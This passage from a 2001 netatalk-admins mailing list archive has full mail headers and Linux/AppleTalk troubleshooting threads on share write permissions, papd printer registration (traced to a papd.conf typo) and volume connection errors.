	for netatalk.administrators-members@umich.edu; Mon, 16 Apr 2001 06:47:02 -0400 (EDT)
Received: from sm10.texas.rr.com (sm10.texas.rr.com [24.93.35.222])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA20854
	for <netatalk-admins@umich.edu>; Mon, 16 Apr 2001 06:47:01 -0400 (EDT)
Received: from [10.1.0.4] (cs2872-149.austin.rr.com [24.28.72.149])
	by sm10.texas.rr.com (8.12.0.Beta5/8.12.0.Beta5) with ESMTP id f3GAhOUd032520
	for <netatalk-admins@umich.edu>; Mon, 16 Apr 2001 05:43:24 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 16 Apr 2001 05:47:02 -0500
Subject: hello?
From: JollyRoger <jollyroger@boxpo.com>
To: netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B70037D5.849C%jollyroger@boxpo.com>
In-Reply-To: <200102130305.WAA29158@funinacapulco.mr.itd.umich.edu>
Mime-version: 1.0
Reply-To: jollyroger@boxpo.com
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

is this server working anymore? I send messages to the list but do not see
them, and get no responses.


From netatalk.administrators-errors@umich.edu  Mon Apr 16 13:26:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA10951
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Apr 2001 13:26:13 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13188
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Apr 2001 13:26:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13175
	for netatalk.administrators-members@umich.edu; Mon, 16 Apr 2001 13:26:05 -0400 (EDT)
Received: from ccgate.goldenbooks.com (mail.goldenbooks.com [205.243.222.114])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA13150
	for <netatalk-admins@umich.edu>; Mon, 16 Apr 2001 13:26:04 -0400 (EDT)
From: JSherry@goldenbooks.com
Received: from ccMail by ccgate.goldenbooks.com
  (IMA Internet Exchange 3.11) id 0018E7C8; Mon, 16 Apr 2001 12:28:19 -0400
Mime-Version: 1.0
Date: Mon, 16 Apr 2001 13:20:00 -0400
Message-ID: <0018E7C8.C21126@goldenbooks.com>
Subject: Can't write file to share
To: netatalk-admins@umich.edu
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Description: cc:Mail note part

Back from vacation, and thanks everyone for your previous help. I installed
netatalk-1.4b2+asun2.1.3-22.i386.rpm on Redhat 7instead of compiling, and I'm
now able to authenticate. However, like others, I'm getting errors trying to
write a file to a netatalk share.

I have no problem writing to my home directory, so it seems to be a permissions
issue on the other share, which should be accessible to others beside the owner.
I can mount the share:
/usr/itarchives IT access=@it

but I get the message "<filename> could not be written because you do not have
enough access privileges."

The rights appear to be correct:
[sherry@nychat1 /usr]$ groups
sherry it

and
drwxrws--x    5 root     it           4096 Apr 16 12:16 itarchives



I suspect the access setting for a share affects the ability to mount a share
not write to it.
Also, the "s" privilege is new to me. To paraphrase what someone said about it,
giving a group the "s" privilege on a directory should not effect the ability to
write a new file to the directory, but should set the permissions on that new
file to match the directory, allowing group members to read and write to the
file subsequently, right?

Anyway, I'd rather run a tried and true version of netatalk than play with the
work in progress, so any suggestions short of installing 1.5preX will be
appreciated.

Thanks,
jb

From netatalk.administrators-errors@umich.edu  Mon Apr 16 17:18:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA21415
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Apr 2001 17:18:46 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA10782
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Apr 2001 17:18:46 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA10769
	for netatalk.administrators-members@umich.edu; Mon, 16 Apr 2001 17:18:45 -0400 (EDT)
Received: from mercury.prairiegroup.com ([216.80.8.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA10733
	for <netatalk-admins@umich.edu>; Mon, 16 Apr 2001 17:18:44 -0400 (EDT)
Received: from prairiegroup.com (m-mcwhorter.prairiegroup.com
          [104.47.1.105]) by mercury.prairiegroup.com (Netscape Messaging
          Server 4.15) with ESMTP id GBWLLE00.25J for
          <netatalk-admins@umich.edu>; Mon, 16 Apr 2001 16:12:50 -0500 
Sender: "Martin McWhorter" <m_mcwhorter@prairiegroup.com>
Message-ID: <3ADB606C.5F72A8EE@prairiegroup.com>
Date: Mon, 16 Apr 2001 16:13:16 -0500
From: Martin McWhorter <m_mcwhorter@prairiegroup.com>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-3 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: papd trouble
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello,

I am having a problem with papd. I can see the printer in MacOS chooser,
but can not print to it.

Of course this is because when I start papd on RH 6.2 linux it stops
shorly after with this message in the /var/log/messages
Apr 16 15:50:28 m_mcwhorter papd[7460]: restart (1.4b2+asun2.1.3)
Apr 16 15:50:36 m_mcwhorter papd[7460]: can't register lp:LaserWriter@*

My /etc/atalk/papd.conf looks like this
lp:ps=lp:op=m_mcwhorter:pd=/etc/atalk/9955_65.ppd:

and my /etc/printcap looks like this:
##PRINTTOOL3## SMB ljet4 600x600 letter {} LaserJet4 Default {}
lp:\
        :sd=/var/spool/lpd/lp:\
        :mx#0:\
        :sh:\
        :if=/var/spool/lpd/lp/filter:\
        :af=/var/spool/lpd/lp/acct:\
        :lp=/dev/null:

I have read all the available Documentation and scoured the mail
archive... to no avail.

Thanks much,
Martin






-- 
Martin McWhorter
Network Administrator
Prairie
708 563 5832

From netatalk.administrators-errors@umich.edu  Mon Apr 16 21:19:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA28561
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Apr 2001 21:19:00 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA06706
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Apr 2001 21:19:00 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA06687
	for netatalk.administrators-members@umich.edu; Mon, 16 Apr 2001 21:18:59 -0400 (EDT)
Received: from titan.ols.com (titan.ols.com [207.112.223.10])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA06667
	for <netatalk-admins@umich.edu>; Mon, 16 Apr 2001 21:18:58 -0400 (EDT)
Received: from mail.ols.com (metro1-d33.ols.com [207.112.223.103])
	by titan.ols.com (8.9.3/8.9.3) with SMTP id UAA84267
	for <netatalk-admins@umich.edu>; Mon, 16 Apr 2001 20:17:58 -0500 (CDT)
	(envelope-from bsewell@ols.com)
Date: Mon, 16 Apr 2001 20:18:06 -0500
From: Brandon Sewell <bsewell@ols.com>
To: netatalk-admins@umich.edu
Subject: unable to connect
Message-ID: <20010416201806.A18224@bess>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Mailer: Balsa 1.0.0
Lines: 4
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id VAA28561

I can see my file server in the chooser, connect as either a guest or user,
but when i select volumes and click ok i get the mesg "The attempted
connection to the servers volume has failed. Please contact the servers
admin.". I get the same mesg. with guest and user. Any ideas?


From netatalk.administrators-errors@umich.edu  Tue Apr 17 07:13:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA11734
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Apr 2001 07:13:20 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA10488
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Apr 2001 07:13:12 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA10470
	for netatalk.administrators-members@umich.edu; Tue, 17 Apr 2001 07:13:12 -0400 (EDT)
Received: from nernst.chem.gla.ac.uk (nernst.chem.gla.ac.uk [130.209.221.174])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA10440
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 07:13:10 -0400 (EDT)
Received: from london.chem.gla.ac.uk ([130.209.221.166] ident=jonp)
	by nernst.chem.gla.ac.uk with esmtp (Exim 2.02 #2)
	id 14pTQ4-0005Fc-00; Tue, 17 Apr 2001 12:13:16 +0100
Received: from localhost (jonp@localhost) by london.chem.gla.ac.uk (8.8.7/feedernode) with ESMTP id MAA25829; Tue, 17 Apr 2001 12:13:09 +0100 (BST)
X-Authentication-Warning: london.chem.gla.ac.uk: jonp owned process doing -bs
Date: Tue, 17 Apr 2001 12:13:09 +0100 (BST)
From: Jonathan Paisley <jonp@chem.gla.ac.uk>
To: Martin McWhorter <m_mcwhorter@prairiegroup.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: papd trouble
In-Reply-To: <3ADB606C.5F72A8EE@prairiegroup.com>
Message-ID: <Pine.SOL.4.33.0104171210120.25757-100000@london.chem.gla.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 16 Apr 2001, Martin McWhorter wrote:

> I am having a problem with papd. I can see the printer in MacOS chooser,
> but can not print to it.
>
> Of course this is because when I start papd on RH 6.2 linux it stops
> shorly after with this message in the /var/log/messages
> Apr 16 15:50:28 m_mcwhorter papd[7460]: restart (1.4b2+asun2.1.3)
> Apr 16 15:50:36 m_mcwhorter papd[7460]: can't register lp:LaserWriter@*

That looks a bit like it can't register the name because it's already
registered (i.e. there's already a LaserWriter called lp on the network,
or some previous instance of papd died without unregistering).

try

$ nbpunrgstr lp:Laserwriter

I'm not entirely sure what the syntax of that command is (I've not tried
this recently), but you should get the idea.

-- 
Jonathan Paisley
jonp@chem.gla.ac.uk


From netatalk.administrators-errors@umich.edu  Tue Apr 17 09:48:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA16116
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Apr 2001 09:48:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA12383
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Apr 2001 09:48:20 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA12362
	for netatalk.administrators-members@umich.edu; Tue, 17 Apr 2001 09:48:19 -0400 (EDT)
Received: from mercury.prairiegroup.com ([216.80.8.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id JAA12328
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 09:48:18 -0400 (EDT)
Received: from prairiegroup.com (m-mcwhorter.prairiegroup.com
          [104.47.1.105]) by mercury.prairiegroup.com (Netscape Messaging
          Server 4.15) with ESMTP id GBXVEZ00.468 for
          <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 08:42:35 -0500 
Sender: "Martin McWhorter" <m_mcwhorter@prairiegroup.com>
Message-ID: <3ADC4863.92DFFD68@prairiegroup.com>
Date: Tue, 17 Apr 2001 08:42:59 -0500
From: Martin McWhorter <m_mcwhorter@prairiegroup.com>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-3 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: papd trouble
References: <Pine.SOL.4.33.0104171210120.25757-100000@london.chem.gla.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thanks Jonathan,

nbpunrgsr lp:LaserWriter
	or
nbpunrgsr lp:LaserWriter@*

Returns:
Can't unregister lp:LaserWriter@

Obviosly this is part of my problem. I changed the name of the printer
in the papd.conf to misptr. Same results.

Apr 17 08:35:24 m_mcwhorter papd[29587]: restart (1.4b2+asun2.1.3)
Apr 17 08:35:32 m_mcwhorter papd[29587]: can't register
misptr:LaserWriter@*

[root@m_mcwhorter m_mcwhorter]# nbpunrgstr misptr:LaserWriter  
Can't unregister misptr:LaserWriter@*

Thanks In Advance,
Martin


Jonathan Paisley wrote:
> 
> On Mon, 16 Apr 2001, Martin McWhorter wrote:
> 
> > I am having a problem with papd. I can see the printer in MacOS chooser,
> > but can not print to it.
> >
> > Of course this is because when I start papd on RH 6.2 linux it stops
> > shorly after with this message in the /var/log/messages
> > Apr 16 15:50:28 m_mcwhorter papd[7460]: restart (1.4b2+asun2.1.3)
> > Apr 16 15:50:36 m_mcwhorter papd[7460]: can't register lp:LaserWriter@*
> 
> That looks a bit like it can't register the name because it's already
> registered (i.e. there's already a LaserWriter called lp on the network,
> or some previous instance of papd died without unregistering).
> 
> try
> 
> $ nbpunrgstr lp:Laserwriter
> 
> I'm not entirely sure what the syntax of that command is (I've not tried
> this recently), but you should get the idea.
> 
> --
> Jonathan Paisley
> jonp@chem.gla.ac.uk

-- 
Martin McWhorter
Network Administrator
Prairie
708 563 5832

From netatalk.administrators-errors@umich.edu  Tue Apr 17 11:26:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA19239
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Apr 2001 11:26:09 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA19100
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Apr 2001 11:26:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA19063
	for netatalk.administrators-members@umich.edu; Tue, 17 Apr 2001 11:26:00 -0400 (EDT)
Received: from apeiba.wanadoo.fr (smtp-rt-2.wanadoo.fr [193.252.19.154])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA19000
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 11:25:57 -0400 (EDT)
Received: from mahonia.wanadoo.fr (193.252.19.58) by apeiba.wanadoo.fr; 17 Apr 2001 17:26:04 +0200
Received: from wanadoo.fr (193.250.204.148) by mahonia.wanadoo.fr; 17 Apr 2001 17:26:02 +0200
Message-ID: <3ADC6052.9F5B6AA7@wanadoo.fr>
Date: Tue, 17 Apr 2001 17:25:07 +0200
From: prominox <prominox@wanadoo.fr>
X-Mailer: Mozilla 4.7 [fr] (WinNT; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: unsubscribe
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit




From netatalk.administrators-errors@umich.edu  Tue Apr 17 12:53:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA22916
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Apr 2001 12:53:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA10164
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Apr 2001 12:53:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA10146
	for netatalk.administrators-members@umich.edu; Tue, 17 Apr 2001 12:53:31 -0400 (EDT)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA10111
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 12:53:30 -0400 (EDT)
Received: from ns01-n71-119.de.inter.net ([213.73.71.119] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14pYjI-0004jS-00
	for netatalk-admins@umich.edu; Tue, 17 Apr 2001 18:53:29 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id SAA22020
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 18:51:41 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: papd trouble
Date: Tue, 17 Apr 2001 18:32:01 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.SOL.4.33.0104171210120.25757-100000@london.chem.gla.ac.uk> <3ADC4863.92DFFD68@prairiegroup.com>
In-Reply-To: <3ADC4863.92DFFD68@prairiegroup.com>
MIME-Version: 1.0
Message-Id: <01041718514000.06278@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA22916

On Tue, 17 Apr 2001, Martin McWhorter wrote:
> Thanks Jonathan,
> 
> nbpunrgsr lp:LaserWriter
> 	or
> nbpunrgsr lp:LaserWriter@*
> 
> Returns:
> Can't unregister lp:LaserWriter@
> 
> Obviosly this is part of my problem. I changed the name of the printer
> in the papd.conf to misptr. Same results.
> 
> Apr 17 08:35:24 m_mcwhorter papd[29587]: restart (1.4b2+asun2.1.3)
> Apr 17 08:35:32 m_mcwhorter papd[29587]: can't register
> misptr:LaserWriter@*
> 
> [root@m_mcwhorter m_mcwhorter]# nbpunrgstr misptr:LaserWriter  
> Can't unregister misptr:LaserWriter@*
> 
> Thanks In Advance,
> Martin

What does nbplkup tell?
Is there another "<printername>:LaserWriter" registered?
If yes, has it the same net.node like the server?

Can you see other nodes (Macs) at all?
If not this is a good hint that netatalk does not properly start up.

E.g.: I have to put my interface into promiscuous mode.
But then I have to start netatalk TWICE at boot.
After the first start I can't see other nodes on my net.

BTW: Has somebody encountered the same problem?
Does he/she know what goes wrong and how I can solve this more
elegant than starting netatalk twice?

Best wishes

	Carsten

From netatalk.administrators-errors@umich.edu  Tue Apr 17 13:34:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA24347
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Apr 2001 13:34:36 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12254
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Apr 2001 13:34:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12230
	for netatalk.administrators-members@umich.edu; Tue, 17 Apr 2001 13:34:27 -0400 (EDT)
Received: from mercury.prairiegroup.com ([216.80.8.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA12006
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 13:34:19 -0400 (EDT)
Received: from prairiegroup.com (m-mcwhorter.prairiegroup.com
          [104.47.1.105]) by mercury.prairiegroup.com (Netscape Messaging
          Server 4.15) with ESMTP id GBY5VN00.R61 for
          <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 12:28:35 -0500 
Sender: "Martin McWhorter" <m_mcwhorter@prairiegroup.com>
Message-ID: <3ADC7D5A.AA59E1B0@prairiegroup.com>
Date: Tue, 17 Apr 2001 12:28:58 -0500
From: Martin McWhorter <m_mcwhorter@prairiegroup.com>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-3 i686)
X-Accept-Language: en
MIME-Version: 1.0
CC: netatalk-admins@umich.edu
Subject: Re: papd trouble
References: <Pine.SOL.4.33.0104171210120.25757-100000@london.chem.gla.ac.uk> <3ADC4863.92DFFD68@prairiegroup.com> <01041718514000.06278@athlet>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

> What does nbplkup tell?

It shows all the appletalk devices on the network. 

> Is there another "<printername>:LaserWriter" registered?
No, There is no lp:LaserWriter or misptr:LaserWriser in the list.

> If yes, has it the same net.node like the server?
> 
> Can you see other nodes (Macs) at all?
Yes. Macs can connect to my Atalk shares fine. From a Mac I can drag and
drop files back and forth the my linux server.

> If not this is a good hint that netatalk does not properly start up.
> 
Atalk starts fine 

[m_mcwhorter@m_mcwhorter temp]$ ps -ax | grep atalk
 1330 ?        S      0:06 atalkd
11725 pts/2    R      0:00 grep atalk

Just not papd.

Any ideas? Im stuck.
 
Thanks,
Martin

From netatalk.administrators-errors@umich.edu  Tue Apr 17 14:48:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA27552
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Apr 2001 14:48:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA03781
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Apr 2001 14:48:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA03768
	for netatalk.administrators-members@umich.edu; Tue, 17 Apr 2001 14:48:17 -0400 (EDT)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA03737
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 14:48:15 -0400 (EDT)
Received: from ns07-n66-078.de.inter.net ([213.73.66.78] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14paWM-00018q-00
	for netatalk-admins@umich.edu; Tue, 17 Apr 2001 20:48:14 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id UAA22398
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 20:47:25 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: papd trouble
Date: Tue, 17 Apr 2001 20:35:27 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3ADB606C.5F72A8EE@prairiegroup.com>
In-Reply-To: <3ADB606C.5F72A8EE@prairiegroup.com>
MIME-Version: 1.0
Message-Id: <01041720472501.06278@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA27552

On Mon, 16 Apr 2001, Martin McWhorter wrote:
> Hello,
> 
> I am having a problem with papd. I can see the printer in MacOS chooser,
> but can not print to it.
> 
> Of course this is because when I start papd on RH 6.2 linux it stops
> shorly after with this message in the /var/log/messages
> Apr 16 15:50:28 m_mcwhorter papd[7460]: restart (1.4b2+asun2.1.3)
> Apr 16 15:50:36 m_mcwhorter papd[7460]: can't register lp:LaserWriter@*
> 
> My /etc/atalk/papd.conf looks like this
> lp:ps=lp:op=m_mcwhorter:pd=/etc/atalk/9955_65.ppd:
> 

Hrrrglllmppphhff!  (Some sort of curse! ;-) )
Stupid me!
I saw this in your first message, but forgot to verify this.
You made a typo in your papd.conf!
There is no "ps" attribute.
You probably mean "pr=lp:".

BTW: If your lpd isn't started when data arrive in your spooler queue you can pipe the data to lpr:
"pr=|/usr/bin/lpr -Plp:". The daemon is then started by lpr.

HTH

	Carsten

From netatalk.administrators-errors@umich.edu  Tue Apr 17 15:55:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA29653
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Apr 2001 15:55:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA25482
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Apr 2001 15:55:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA25469
	for netatalk.administrators-members@umich.edu; Tue, 17 Apr 2001 15:55:51 -0400 (EDT)
Received: from fishcalledwanda.dir.itd.umich.edu (fishcalledwanda.dir.itd.umich.edu [141.211.14.23])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA25435
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 15:55:49 -0400 (EDT)
Received: from pathfinder (genisis.pwgroup.ca [142.165.152.48])
	by fishcalledwanda.dir.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA07754
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 15:55:47 -0400 (EDT)
Received: from SMTP agent by mail gateway 
 Tue, 17 Apr 2001 14:08:57 -0600
Received: from cossette.dante.ca (192.168.10.1)
          by pathfinder with MERCUR-SMTP/POP3/IMAP4-Server (v3.30.03 AS-0098315)
          for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001  14:06:54 -0600
Received: from SMTP agent by mail gateway 
 Tue, 17 Apr 2001 14:05:44 -0600
Received: from printwest.com (localhost [127.0.0.1])
	by cossette.dante.ca (Postfix) with ESMTP
	id 862EA7995; Tue, 17 Apr 2001 13:46:37 -0600 (CST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
To: LINUX-ATALK@netspace.org, netatalk-admins <netatalk-admins@umich.edu>
Subject: Netatalk and raid
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 17 Apr 2001 13:46:37 -0600
From: Lance Levsen <l.levsen@printwest.com>
Message-Id: <20010417194637.862EA7995@cossette.dante.ca>


Anyone here using Netatalk and the Linux software raid together?

I'm curious if this is a valid setup, and what your setup might be.

Cheers,
-- 
Lance Levsen,
Product Innovation
PWGroup - S'toon.



From netatalk.administrators-errors@umich.edu  Tue Apr 17 16:23:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA00457
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Apr 2001 16:23:20 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA01362
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Apr 2001 16:23:12 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA01350
	for netatalk.administrators-members@umich.edu; Tue, 17 Apr 2001 16:23:11 -0400 (EDT)
Received: from bos-gate2.raytheon.com (bos-gate2.raytheon.com [199.46.198.231])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA01231
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 16:23:10 -0400 (EDT)
Received: from ds02e00.directory.ray.com (ds02e00.rsc.raytheon.com [147.25.130.245])
	by bos-gate2.raytheon.com (8.11.0.Beta3/8.11.0.Beta3) with ESMTP id f3HKN8l26823;
	Tue, 17 Apr 2001 16:23:08 -0400 (EDT)
Received: from rbell.tv.rsc.raytheon.com (localhost [127.0.0.1])
	by ds02e00.directory.ray.com (8.9.3/8.9.3) with ESMTP id QAA07926;
